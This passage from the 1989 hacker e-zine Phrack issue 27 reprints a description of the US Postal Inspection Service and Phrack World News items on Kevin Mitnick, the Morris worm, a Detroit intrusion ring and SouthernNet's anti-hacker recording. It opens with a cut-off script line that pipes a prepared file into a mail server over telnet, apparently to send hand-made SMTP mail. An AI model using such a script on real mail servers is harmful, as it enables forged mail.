telnet $mailerhost smtp < /tmp/cli$$

#Mlean up time

/bin/rm ‑f /tmp/cli$$

The Postal Inspection Service

==Phrack Inc.==

Volume Three, Issue 27, File 9 of 12

+====================

The Postal Inspection Service

(C) UNITED STATES POSTAL SERVICE (U.S. MAIL)

Brought to you by

Vendetta

May 10, 1989

+====================

Protecting The U.S. Mails ~~~~~~~~~~~~~~~~~~~~~~~~~

The protection of the U.S. Mail and the mail system is the responsibility of the Postal Inspection Service. As the law enforcement and audit arm of the U.S. Postal Service, the Inspection Service is a highly specialized, professional organization performing investigative, law enforcement, and audit functions essential to a stable and sound postal system.

As our country's oldest federal law enforcement agency, the Inspection Service has jurisdiction in all criminal matters infringing on the integrity and security of the mail, and the safety of all postal valuables, property, and personnel.

Since the beginning of a postal system in this country, criminal and administrative problems of the Postal Service have been interwoven. By detecting and investigating crimes against the mail and postal revenue, establishing safe and efficient postal systems, protecting all postal properties, assuring that the postal system is not criminally misused to the detriment of the public, the Inspection Service plays an integral part in maintaining effective operations in the Postal Service.

The agency's activities make a vital contribution to the protection of the nation's economy. Security and enforcement functions of the Inspection Service provide assurance to American business for the safe exchange of funds and securities through the U.S. Mail, and to postal customers of the sanctity of the seal in transmitting correspondence and messages to all parts of the world. Audits ensure stability to financial operations, help control costs, and promote increased efficiency in our Postal Service.

Postal Inspectors

~~~~~~~~~~~~~~~~~

Postal Inspectors are the fact finding and investigative agents of the U.S. Postal Service. Today nearly two‑thirds of their time is spent in investigating and solving postal related crimes. Possessing statutory power of arrest, they apprehend violators of the law and work closely with U.S. Attorneys in prosecuting cases in court. Their work also includes crime prevention, the audit of postal operations, investigation of accidents and a wide variety of other service and audit matters.

The work of a Postal Inspector requires total dedication and a willingness to work long hours. Investigations of postal crimes which often entail interstate or international coordination, and the responsibility to restore mail service following catastrophes such as floods, fire, and airplane wrecks, are time‑consuming and can be hazardous.

There are approximately 1,900 Postal Inspectors stationed in the United States and Puerto Rico. All trainees undergo an eleven‑week basic training course involving use of firearms, defensive tactics, legal matters, search and seizure, arrest techniques, court procedures, postal operations, audit functions, and a detailed study of the federal laws in which the Inspection Service has jurisdiction. Classes are conducted at the Inspection Service training center in Potomac, Maryland.

Refresher courses keep Inspectors informed of current court decisions, laws, and legal procedures. Additional specialized courses are continually held to equip the Service with expertly trained personnel.

All applicants for the position of Postal Inspector must successfully complete the following steps; entry examination; a comprehensive background investigation including ma medical examination; the candidate assessment center review; and all phases of the basic training course.

Inspection Service Activity

~~~~~~~~~~~~~~~~~~~~~~~~~~~

Criminal investigations and postal crime prevention represent the greatest portion of Inspection Service activity.

Postal Inspectors investigate violations of all postal laws and other related criminal violations. Crimes within the purview of postal investigations include mail fraud, the illegal transmission of controlled substances through the U.S. Mail, the mailing of child pornography, thefts of mails or postal valuables, assaults on postal employees, bombs sent through the mails or directed against postal properties, and the mailing of matter containing poison, unauthorized concealable firearms, and harmful or prohibited articles.

Five crime laboratories located throughout the country assist Inspectors in analyzing evidentiary material needed for identifying and tracing criminal suspects and in providing expert testimony for cases brought to trial.

The objectives of postal crime prevention are to anticipate, identify, and analyze those areas of greatest crime risk potentially affecting employees, funds, property, and postal customers. Postal Inspectors then take action to remove or reduce that risk and maintain the integrity of the Postal Service.

"The Postal Inspection Service is responsible for the internal audit of the Postal Service."

Postal Inspectors provide management with independent audits and investigations of all postal activities as a part of the Postal Service's internal control system.

Audits of installations and systems protect the assets of the Service, improve its financial management system, assist in the resolution of customer complaints, investigate matters of Congressional interests, and identify specific improvements for better customer service and more economical operations.

Financial audits provide an independent check on the adequacy and effectiveness of control systems; verify the existence of assets and ensure the proper safeguards are maintained. Operations audits are conducted to assist postal management in the operation of an efficient, and reliable Postal Service.

Security Force

~~~~~~~~~~~~~~

Postal Police Officers provide protection to mail, postal valuables, postal employees, facilities, and vehicles of the Postal Service. As part of the law enforcement team, they assist Postal Inspectors in the enforcement of certain postal laws and regulations on postal premises and provide mobile response unites in emergency situations involving the Postal Service.

Equipped with portable radios and alerted by closed circuit television they provide perimeter security to major postal facilities and other buildings operated by the Postal Service. Their presence in postal installations throughout the country is a deterrent to postal crimes and an aid to employee morale.

Postal Police Officers also are used to escort high value mail while in transit between postal units and at airports.

Experience in military or civil law enforcement, industrial security, or similar occupations is an asset for positions in the Security Force. All appointees undergo a four‑week training course conducted at the Inspection Service's training center.

Coordination With Other Agencies

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Inspection Service extends full cooperation to all local and federal investigative and prosecutive authorities in law enforcement matters to ensure greater protection to the public. Postal Inspectors participate in the Department of Justice national strike force teams aimed at curtailing widespread criminal acts of an organized nature. Postal Inspectors also work closely with the External Auditors in providing support to the certification of the Postal Service's financial statements.

Conviction Rate

~~~~~~~~~~~~~~~

The Inspection Service maintains a consistently high conviction rate each year of approximately 98% of cases brought to trial, a rate not exceeded by any other federal law enforcement agency.

Jurisdiction, Postal Laws, and Protection

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Inspection Service exercises investigative jurisdiction over approximately 85 postal‑related statues. These can be grouped in two categories: Criminal acts against the mails, postal facilities, or postal personnel; and criminal misuse of the postal system.

MAIL FRAUD

All criminal activity involving use of the U.S. Mail with intent to defraud comes under the jurisdiction of the Postal Inspection Service. The Mail Fraud Law is the oldest consumer protection law in the United States and is one of the most effective prosecutive tool in fighting white collar and organized crime. Millions of dollars are lost each year through mail fraud which cheats not only the poor and the elderly, but businessmen and the consumer as well. Prevalent schemes include insurance, banking, false billings; land and advance‑fee selling swindles; franchise schemes; work‑at‑home and fraudulent diploma schemes; charity schemes; promotions of fake health cures, beauty devices, fast‑working diets, and sex stimulants; chain letters, lotteries, and solicitations for the sale of advertising specialty items.

While Postal Inspectors have no statutory authority to act as intermediaries in the settlement of unsatisfactory financial or property transactions conducted through the mails, their investigations frequently result in the discontinuance of fraudulent or borderline operations. Administrative mail‑stop orders may be issued to prevent continuing public loss while sufficient evidence is being developed for criminal prosecutive action in the courts, or in cases where false representations, but not necessarily fraudulent intent, can be proven. The Inspection Service has a leading role in consumer protection through the implementation of educational programs designed to prevent mail fraud schemes from developing, and through its efforts to resolve complaints relating to consumer/vendor misunderstandings or poor business practices.

ORGANIZED CRIME

Investigations by Postal Inspectors in organized crime matters most frequently relate to cases involving theft and fencing of large amounts of stamp stock and securities by organized post office burglary rings; insurance and investment frauds; and planned bankruptcies and schemes aimed at looting company assets. The Organized Crime Control Act of 1970 specifically includes violation of the Mail Fraud Statue as "racketeering activity." Postal Inspectors are assigned to the Justice Department Organized Crime Strike Forces which operate at various points throughout the country.

MAIL THEFT/BURGLARY/ROBBERY

Investigation of mail theft offenses are a large part of the Inspection Service's responsibilities and most commonly involve stolen checks, food coupons, or other negotiable securities. Primary attention is directed at major gangs, sophisticated fencing operations, large scale thefts, and the implementation of preventive programs.

Burglaries of post offices range from vandalism to high level burglary rings and fencing operations involving organized crime activity.

Armed robberies endanger the lives of postal employees and the public and, therefore, are priority investigations. The targets of these crimes usually are postal facilities, vehicles transporting mail, and individual employees, primarily letter carriers.

DRUGS

Illegal trafficking in drugs, narcotics, and other controlled substances through the mail is investigated in conjunction with other federal and state law enforcement agencies.

PORNOGRAPHY

The Inspection Service investigates violations of the Postal Obscenity Statue enacted in 1865 which prohibits the sending of obscene materials through the U.S. Mail. This includes the investigation of child pornography offenses involving the sexual abuse of exploitation of children based on laws passed in 1977 and 1984.

BOMBS

Investigations of incidents of threats involving bombs and incendiary devices sent through the mails or directed at postal properties or functions are within the jurisdiction of the Inspection Service.

EXTORTION

The Inspection Service has investigative responsibility in incidents involving use of the mails to extort money or property by threat of injury to person's reputation or by accusing a person of a crime.

OTHER PROHIBITED MAILINGS

The mailing of poisons or other harmful matter prohibited by law is investigated by Postal Inspectors.

Assistance From The Public

~~~~~~~~~~~~~~~~~~~~~~~~~~

In most cases, the Inspection Service must rely on the watchfulness and alertness of mail recipients to inform them of possible criminal or harmful activity involving the use of the mails. Any suspected violations of postal laws or misuse of the mails should be reported to the local Postmaster for referral to a Postal Inspector. Prompt action on the part of postal customers and Postal Inspectors is essential in the interest of crime prevention and detection.

Phrack World News XXVII Part 1

==Phrack Inc.==

Volume Three, Issue 27, File 10 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVII/Part 1 PWN

PWN PWN

PWN June 20, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Welcome to Issue XXVII of Phrack World News!

This issue features articles on SouthernNet's hacker scam, the Florida probation sex incident, bulletin boards in Argentina, fax attacks, computer security, other hacking occurrences, as well as more articles and new information about Kevin David Mitnick (aka Condor), Robert Tappan Morris, Karl Koch (Hagbard Celine, one of Clifford Stoll's "Wily Hackers"), TRW and Social Security Administration, the National Crime Information (NCIC) "Super Database," and many other fun stories.

Because of our temporary exile from Bitnet, this will be the last regular issue of Phrack World News until next Fall. Next issue expect to see the full write‑up on the details and fun events of SummerCon '89. It is only two days away as of this writing (it kinda begins on Thursday evening for some of us) and it looks to be the best SummerCon ever!

A very special thanks goes to Delta Master, Hatchet Molly, and The Mad Hacker who all assisted with this issue's PWN by submitting articles. Hatchet Molly will be serving as a collection agent for Phrack Inc. during the summer. Be sure to forward any news articles to him that seem relevant to PWN and he will get them to me (eventually). He can be reached on the wide area networks at;

(Hatchet Molly)

TK0GRM2@NIU.BITNET

TK0GRM2%NIU.BITNET@CUNYVM.CUNY.EDU

One other thing to mention here is a special hello to one of our government readers... Peter Edmond Yee of NASA's Ames Research Center. He had recently remarked that he "had access to Phrack!" I wonder if he thought that Phrack Inc. was top secret or hard to get? Still if he wanted it that badly, Taran King and I thought, "Why not make it easier on him and just send it to his network address?" We did :‑)))

:Knight Lightning

"The Real Future Is Behind You... And It's Only The Beginning!"

________________________________________

Mitnick Plea Bargain Rejected By Judge As Too Lenient April 25, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Excerpts from Kim Murphy (Los Angeles Times)

"Mr. Mitnick, you have been engaging in this conduct for too long, and no one has actually punished you. This is the last time you are going to do this."

Reportedly U.S. District Judge Mariana Pfaelzer unexpectedly rejected the plea bargain of Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun." Pfaelzer declared that Mitnick deserves more time behind bars.

As reported in recent issues of Phrack World News, "Mitnick pleaded guilty to one count of computer fraud and one count of possessing unauthorized long‑distance telephone codes... Mitnick faces one year in prison. Under a plea agreement with the government, he must also submit to three years' supervision by probation officers after his release from prison."

On April 24, 1989 Judge Pfaelzer said, "Mr. Mitnick, you have been engaging in this conduct for too long, and no one has actually punished you. This is the last time you are going to do this." She said a confidential pre‑sentence report recommended that she exceed even the 18‑month maximum prison term called for under mandatory new federal sentencing guidelines. The judge's action voids Mitnick's guilty plea.

Both prosecuting and defense attorneys were surprised. Mitnick's attorney said he did not know whether his client would agree to a guilty plea carrying a longer prison term. This could make it harder to bring charges against Mitnick's alleged associates. If Mitnick is brought to trial, testimony from at least one of his associates would be required to convict him, and they would not appear as witnesses without receiving immunity from prosecution.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Computer Hacker Working On Another Plea Bargain May 6, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Excerpts from the Los Angeles Herald Examiner

Attorneys said yesterday they are negotiating a second plea bargain for computer hacker Kevin Mitnick, whose first offer to plead guilty was scuttled by a judge because it called for too little time in prison.

Mitnick, 25, of Panorama City, California offered in March to serve one year in prison and to plead guilty to computer fraud and possessing unauthorized long‑distance telephone codes.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Mitnick Update May 10, 1989

~~~~~~~~~~~~~~

Excerpts taken from the Los Angeles Times

When last we heard about Kevin Mitnick, the hacker once called "as dangerous with a keyboard as a bank robber with a gun," the judge, Judge Mariana Pfaelzer, had rejected a plea bargain as too lenient, saying Mitnick deserved more than the agreed one year of jail time [see above articles].

According to more recent information, Mitnick has now reached a new agreement, with no agreed‑upon prison sentence. He pleaded guilty to stealing a DEC security program and illegal possession of 16 long‑distance telephone codes belonging to MCI Telecommunications Corp. The two charges carry a maximum of 15 years and a $500,000 fine. The government agreed to lift telephone restrictions placed on Mitnick since he was jailed in December, 1988.

At DEC's request, Mitnick will help the firm identify and fix holes in its security software to protect itself from other hackers. He will also cooperate in the government's probe of Leonard DiCicco, a fellow hacker. (DiCicco is the "friend" who turned Mitnick in.)

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Kenneth Siani Speaks Out About Kevin Mitnick May 23, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Kevin Mitnick, the hacker "so dangerous that he can't even be allowed to use a phone." "He could ruin your life with his keyboard." "Armed with a keyboard and considered dangerous."

These are some of the things that have been said about this person. All of this media hype would be fine if it just sold newspapers. But it has done much more then just sell a few papers. It has influenced those that will ultimately decide his fate. I myself do not know the man, but I have talked to others that do. Including one of the persons that investigated Mitnick. From all I have heard about him, I think he is a slime ball! But even a slime ball should not be railroaded into a prison sentence that others of equal or greater guilt have avoided.

I personally feel the man is just a criminal, like the guy that robs a 7/11, no better but certainly not any worse. Unfortunately he is thought of as some kind of a "SUPER HACKER." The head of Los Angeles Police Dept's Computer Crime Unit is quoted as saying, "Mitnick is several levels above what you would characterize as a computer hacker."

No disrespect intended, but a statement like this from the head of a computer crime unit indicates his ignorance on the ability of hackers and phone phreaks. Sure he did things like access and perhaps even altered Police Department criminal records, credit records at TRW Corp, and Pacific Telephone, disconnecting phones of people he didn't like etc. But what is not understood by most people outside of the hack/phreak world is that these things are VERY EASY TO DO AND ARE DONE ALL THE TIME. In the hack/phreak community such manipulation of computer and phone systems is all to easy. I see nothing special about his ability to do this. The only thing special about Kevin Mitnick is that he is not a "novice" hacker like most of the thirteen year old kids that get busted for hacking/phreaking. It has been a number of years since an "advanced" hacker has been arrested. Not since the days of the Inner Circle gang have law enforcement authorities had to deal with a hacker working at this level of ability. As a general rule, advanced hackers do not get caught because of there activity but rather it is almost always others that turn them in. It is therefore easy to understand why his abilities are perceived as being extraordinary when in fact they are not.

Because of all the media hype this case has received I'm afraid that:

1.) He will not be treated fairly. He will be judged as a much greater threat to society then others that have committed similar crimes.

2.) He will become some kind of folk hero. A Jesse James with a keyboard. This will only cause other to follow in his footsteps.

I'm not defending him or the things he has done in any sense. All I'm saying is let's be fair. Judge the man by the facts, not the headlines.

Disclaimer: The views expressed here are my own.

Kenneth Siani, Sr. Security Specialist, Information Systems Div., NYMA Inc.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

If you are looking for other articles about Kevin David Mitnick aka Condor please refer to;

"Pacific Bell Means Business" (10/06/88) PWN XXI. . .Part 1 "Dangerous Hacker Is Captured" (No Date ) PWN XXII . .Part 1 "Ex‑Computer Whiz Kid Held On New Fraud Counts" (12/16/88) PWN XXII . .Part 1 "Dangerous Keyboard Artist" (12/20/88) PWN XXII . .Part 1 "Armed With A Keyboard And Considered Dangerous"(12/28/88) PWN XXIII. .Part 1 "Dark Side Hacker Seen As Electronic Terrorist" (01/08/89) PWN XXIII. .Part 1 "Mitnick Plea Bargains" (03/16/89) PWN XXV. . .Part 1

________________________________________

Computer Intrusion Network in Detroit May 25, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the San Jose Mercury News (Knight‑Ridder News Service)

DETROIT ‑‑ Secret Service agents smashed what they described as a costly, sophisticated computer intrusion network on Wednesday, May 24, and were surprised to discover it made up largely of teen‑agers.

The computer systems of more than 20 companies including the Michigan Department of Treasury, Home Box Office cable television services, [and RCA] were infiltrated, according to agents serving search warrants across the country.

Federal officials said the infiltrations by the network represented fraud of $200,000 to $1.5 million in appropriated goods, telephone and computer time.

Agents expected to arrest some adults when they swept down on eight people who allegedly ran the network in several states. Instead, they found only one adult, in Chicago. The rest were teen‑agers as young as 14: Two in Columbus, Ohio; two in Boston, Massachusetts; two in Sterling Heights, Michigan [The Outsider and The Untouchable]; and one in Atlanta, Georgia. Agents expected to make another arrest in Los Angeles.

Officials said at least 55 other people nationwide made use of the network's information.

In Sterling Heights, Secret Service agents pulled two eighth‑grader boys, both 14, out of school and questioned them in the presence of their parents, who apparently were unaware of their activities. James Huse, special agent in charge of the U.S. Secret Service office in Detroit, said the youths admitted involvement in the scheme.

He said the eight‑graders, because they are juveniles, cannot be charged under federal law and will be dealt with by local juvenile authorities.

Authorities believe the mastermind is Lynn Doucett, 35, of Chicago. She was arrested Wednesday, May 24, and is cooperating with authorities, Huse said.

Doucett, who was convicted in Canada of telecommunications fraud, supports herself and two children through her computer intrusion activities, which include using stolen or counterfeit credit cards for cash advances or money orders, according to an affidavit filed in U.S. District Court.

If convicted, she faces up to 10 years in prison and a $250,000 fine.

Special Thanks to Jedi For Additional Information

________________________________________

HR 1504 ‑‑ Beeper Abuse Prevention Act May 22, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"Pagers Don't Commit Crimes, Congressmen Do."

The fools in congress assembled are at it again. Three years in jail for selling a pager to a minor? If you didn't believe when Abbie Hoffman said that the drug hysteria was just an excuse for more control of the citizens, think again.

In USA Today was a "face‑off" on the issues. According to this article, Representative Kweisi Mfume (D‑Md) says the following:

"The drug business is using the latest technology to promote its deadly trade. One such advance, the paging device, or beeper, is now appearing in classrooms and schoolyards. I have introduced the Beeper Abuse Prevention Act to curtail the use of beepers by young people who deal drugs. It would require the Federal Communications Commission to prescribe regulations that would restrict the possession and use of paging devices by persons under age 21.

Law officers say dealers and suppliers send coded messages via beeper to youths in school. The codes translate into messages like "meet me at our regular place after class to pick up the drugs." Drug traffickers are even using 800 numbers now available with regional paging services. A supplier could actually conduct a transaction in Baltimore from Miami, for example.

My bill, H.R. 1504, would require any person selling or renting paging devices to verify the identification and age of every customer; encourage parents and businesses to take more responsibility in their children's or employees' activities; make it unlawful for a person to knowingly and willfully rent, sell or use paging devices in violation of rules prescrived by the FCC (there are provisions for stiff fines and up to three‑year prison terms for adults who illegally provide beepers to youths); and require parents or businesses who allow the use of beepers to state that intention with and affidavit at the time of purchase."

He goes on to say that he recognizes that there are legitimate uses of beepers, but we can no longer stand by and watch drugs flow into our neighborhoods. The opposite side is taken by Lynn Scarlett, from Santa Monica, CA. She asks what beepers have to do with the drug trade, and regulating their use will not put a dent it it. She also says that there is little evidence that gun control keeps guns out of the hands of gangsters, and it will take a good dose of wizardry to keep beepers away from bad guys. She finishes with:

"The logic of the Beeper Abuse Prevention Act opens the door for laws to make us sign promises that we won't, we swear, use these things for illicit acts when we buy them. De Tocqueville, that eminent observer of our nation, warned that our loss of freedom would sneak in through passage of quiet, seemingly innocuous and well‑intended laws ‑‑ laws like H.R. 1504.

________________________________________

Computer Threat Research Association (UK) March 31, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For those of you interested an umbrella organization has been established in the United Kingdom to coordinate information on, and research into, all aspects of computer security. In the first instance one of the organization's primary concerns will be combatting the threat posed by computer viruses by acting as a clearing house for virus information and control software.

Below is a copy of an initial letter mailed to prospective members:

The Computer Threat Research Association

The computer threat research association, CoTra is a non‑profit making organization that exists to research, analyze, publicize and find solutions for threats to the integrity and reliability of computer systems.

The issue that caused the formation of CoTra was the rise of the computer virus. This problem has since become surrounded by fear, uncertainty and doubt. To the average user, the computer virus and its implications are a worry of an unknown scale. To a few unfortunates whose systems have become victims, it is a critical issue.

The key advantage of CoTra membership will be access to advice and information. Advice will be provided through publications, an electronic conference (a closed conference for CoTra's members has been created on the Compulink CIX system) as well as other channels such as general postings direct to members when a new virus is discovered.

CoTra membership will be available on a student, full or corporate member basis. All software that is held by CoTra that enhances system reliability, such as virus detection and removal software, will be available to all members. It is intended to establish discounts with suppliers of reliability tools and services. A library of virus sources and executables and other dangerous research material will be made available to members who have a demonstrable need.

A register of consultants who have specific skills in the systems reliability field will be published by CoTra and reviews of reliability enhancing software will be produced.

Your support of CoTra will ensure that you have the earliest and most accurate information about potential threats to your computer systems.

CoTra, The Computer Threat Research Association,

c/o 144 Sheerstock, Haddenham, Bucks. HP17 8EX

________________________________________

Strange Customs Service Clock Department May 1, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Written by Vanessa Jo Grimm (Goverment Computer News)(Page 6)

The U.S. attorney for Washington is reviewing an allegation that a Customs Service official violated the Computer Security Act [PL 100‑235 presumably] by altering a computer's internal clock.

Treasury Department Inspector General Michael R. Hill referred the allegation to the prosecutor after an investigation into year‑end spending by Custom officials at the close of Fiscal Year 1988. The allegation involves an official who may have authorized altering the date maintained by the computers that the agency uses for procurement documents, according to Maurice S. Moody, the Inspector General's audit director for Financial Management Service.

Moody recently told the House Ways and Means Subcommittee on Oversight the computers are part of the agency's Automated Commercial System. He declined to provide Government Computer News with more details.

Allegedly the computer clock was rolled back during the first three days of October of 1988 so that $41.8 million in procurement obligations would be dated in September against fiscal year 1988 appropriations, Moody said.

An inspector general report issued in late February concluded Customs had not violated any procurement laws. The inspector general's investigation is continuing, however.

"Doesn't $41.8 million worth of procurement on the last day of the fiscal year bother anybody?" asked Rep. Richard T. Shulze (R‑Pa). The purchases did bother the inspector general, Moody said, and this concern led to getting the United State attorney attorney. "This problem is endemic in the federal government," he said. "Year‑end spending is very common."

William F. Riley, Customs controller, said he knew about the rollback, but he and Deputy Commissioner Michael H. Lane refused to say who authorized the action... Subcommittee members continued to press Riley and Lane. "Is the person still at Customs?" asked subcommittee chairman J. J. Pickle (D‑Texas). He is working full time and in the position he was at the time," Lane answered.

Rep. Beryl F. Anthony, Jr. (D‑Ark) asked how Riley became aware of the rollback. "He (the official who authorized the rollback) told me that it was going to be done," Riley said.

Rep. Pickle suggested that a high ranking official would have to authorize such an action, but Counsel advised Lane not to reply. He did say neither he nor Commissioner von Raab had made the decision.

The balance of the article deals with the actions of Linda Gibbs, who became aware of the incident and reported it to the inspector general after being unable to stop the action. Gibbs also alleged that the action was intended to use available year‑end money to cover cost overrun on a contract with Northrop Corp. She also alleged that she had been reassigned and given no new duties.

Phrack World News XXVII Part 2

==Phrack Inc.==

Volume Three, Issue 27, File 11 of 12

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXVII/Part 2 PWN

PWN PWN

PWN June 20, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

Robert T. Morris Suspended From Cornell May 25, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from the New York Times

Cornell University has suspended the graduate student identified by school officials as the author of "the Internet worm."

In a May 16th letter to Robert Tappan Moris, age 23, the dean of the Cornell University Graduate School said a university panel had found him guilty of violating the school's Code of Academic Integrity.

He will be suspended until the beginning of the fall semester of 1990, and then could reapply.

No criminal charges have been filed against Morris. A federal grand jury this year forwarded its recommendations to the Justice Department, which has not taken any action.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Justice Department Wary in Computer Case May 28, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

by Matthew Spina (Syracuse Herald‑American)

"Is Washington Fearful Of Losing A Landmark Trial?"

Some computer experts theorize that the Justice Department, afraid of bungling what could become a landmark computer case, still doesn't know how to treat the Cornell student whose computer worm slithered nationwide in November, 1988.

A further concern in Washington: A trial in the case might embarrass the Department of Defense if its scientists are asked to detail how their computers were among the thousands crippled by the worm.

For several months, the decision on how to charge 23‑year‑old Robert T. Morris, Jr. had been before Mark Richard, a deputy assistant attorney general. Within the last few weeks, Richard made a decision that now is being reviewed by an assistant attorney general, according to a computer professional who has been talking with the Justice Department.

"I thought we would have heard something from Washington by now," said Andrew Baxtoer, the assistant U.S. attorney who in November and December presented the case to a grand jury in Syracuse.

The grand jury's report was sent on the the Justice Department, which refuses to comment publicly on the matter because Morris has not been indicted.

"Within the next two weeks I assume that a decision will be made," said one official.

"If they decide to begin an expensive trial, they have to make sure they win so as not to damage future attempts to prosecute under that law," said Eugene H. Spafford, an assistant professor at Purdue University whose analysis of the worm has helped federal investigators. "If they decide not to prosecute, and the total thing that happens is he gets suspended (from Cornell), I will be outraged."

So far, Cornell has taken the only disciplinary measure against Morris, suspending him for the 1989‑90 academic year. But the graduate student left the computer science department early in November, the day after the worm spread out of a computer in Upson Hall.

Morris, a computer science graduate student, has been called the author of a rogue computer program, called a worm, that was spread from a Cornell University computer. The program was designed to reproduce and infect any computer linked to the Internet, a network shared by colleges, research centers and military institutions.

However, experts say an error caused the program to replicate out of control, sending thousands of copies into thousands of computers.

If Morris is to be charged with a felony, prosecutors would then have to show he intended to destroy or extract information.

Proving that would be difficult since the program neither destroyed nor removed information from any computer.

To convict Morris on most lesser charges, prosecutors would have to show he intended to harm computers.

Prosecutors also could use a misdemeanor charge requiring them to prove only that Morris gained access to a federal government computer. The worm did reach computers at the Army Ballistics Research Laboratory and NASA's Langley Research Center, among others.

Some computer experts wonder, though, if Defense Department officials will be reluctant to testify publicly about how their computers were penetrated ‑‑ even those computers holding non‑classified information. In February, at a computer convention in San Diego, Defense Department computer experts detailed some security improvements made to the network since November, but then refused to release copies of their presentation to people at the seminar.

The FBI ‑‑ which enforces the Computer Fraud and Abuse Act of 1986 ‑‑ and some people in the computer industry are pushing for a vigorous prosecution to display a strong case against computer hacking. Others in the industry, including some of Morris' friends from Harvard University and Cornell, urge leniency because he was trying to demonstrate security flaws with computers.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Other articles about Robert Tappan Morris, Jr. and the Internet Worm are;

"Computer Network Disrupted By 'Virus'" (11/03/88) PWN XXII/Part 2

"Virus Attack" (11/06/88) PWN XXII/Part 2

"The Computer Jam: How It Came About" (11/08/88) PWN XXII/Part 2 "US Is Moving To Restrict {...} Virus" (11/11/88) PWN XXII/Part 2 * "FBI Studies Possible Charges In Virus" (11/12/88) PWN XXII/Part 2 "Big Guns Take Aim At Virus" (11/21/88) PWN XXII/Part 3 "Congressman Plan Hearings On Virus" (11/27/88) PWN XXII/Part 3 "Pentagon Severs Military {...} Virus" (11/30/88) PWN XXII/Part 3 * "Networks Of Computers At Risk From Invaders" (12/03/88) PWN XXII/Part 4 * "Computer Virus Eradication Act of 1988" (12/05/88) PWN XXII/Part 4 * "Breaking Into Computers {...}, Pure and Simple" (12/04/88) PWN XXIV/Part 1 * "Cornell Panel Concludes Morris {...} Virus" (04/06/89) PWN XXVI/Part 1

* ‑ Indicates that the article was not directly related to Robert Morris, but did discuss him as well as the Internet Worm incident.

________________________________________

SouthernNet's Anti‑Hacker Psychological Con Game April 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

WARNING! Your call is being intercepted!

Error: Setting may not be changed by callers.

Welcome to: S o u t h e r n N e t I n c.

You have reached the SouthernNet Fraud Department, the authorization code you are attempting to use is not valid. Hacking and illegal use of codes are violations of state and federal laws.

We are currently conducting an investigaion for code abuse in your area and we are coordinating the investigation with law enforcement authorities. Persons identified hacking or abusing codes will be prosecuted to the full extent of the law.

I'll see you soon,

Hacker Tracker

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Hold for additional information:

Hacker Tracker is unavailable right now; however, you may avoid possible arrest and/or prosecution by calling Hacker Tracker in person.

You may contact Mr. Tracker between the hours of 9:00 AM and 5:00 PM Eastern Standard Time, Monday ‑ Friday, simply by dialing the access number you have just used and code number 101010 or 011010 if the access you have used requires a seven digit code. Just hold the line for 10 seconds and your call will automatically be routed to Mr. Tracker at no charge to you.

This is *NOT* a trick and it will be the intention of SouthernNet Inc. to settle this matter without involving law enforcement authorities if you cooperate with our fraud department 100%.

It will certainly be to your advantage to contact Mr. Tracker as this will reflect your own decision to assist and avoid prosecution by our company!!!

I'll be expecting your call.

Hacker Tracker

Hold a sec... Engaging Auto Page for Hacker Tracker...

50 seconds till disconnect

40 seconds till disconnect

30 seconds till disconnect

20 seconds till disconnect

10 seconds till disconnect

5 seconds till disconnect

NO CARRIER

[Do you think anyone believed this and actually called "Hacker Tracker?" ‑KL]

________________________________________

What's Happening: Computer Security Up June 4, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Gannett Westchester Newspapers

[Comments in brackets from Delta‑Master]

High‑tech companies are spending 64% more [than they previously spent] on computer security, according to a recent survey conducted by the National Center for Computer Crime Data in Los Angeles. The group surveyed 3,500 law enforcement agencies and computer security experts about computer crime. The prosecution rate is also up ‑‑ 6.4% in 1988 from only 2.4% during 1987.

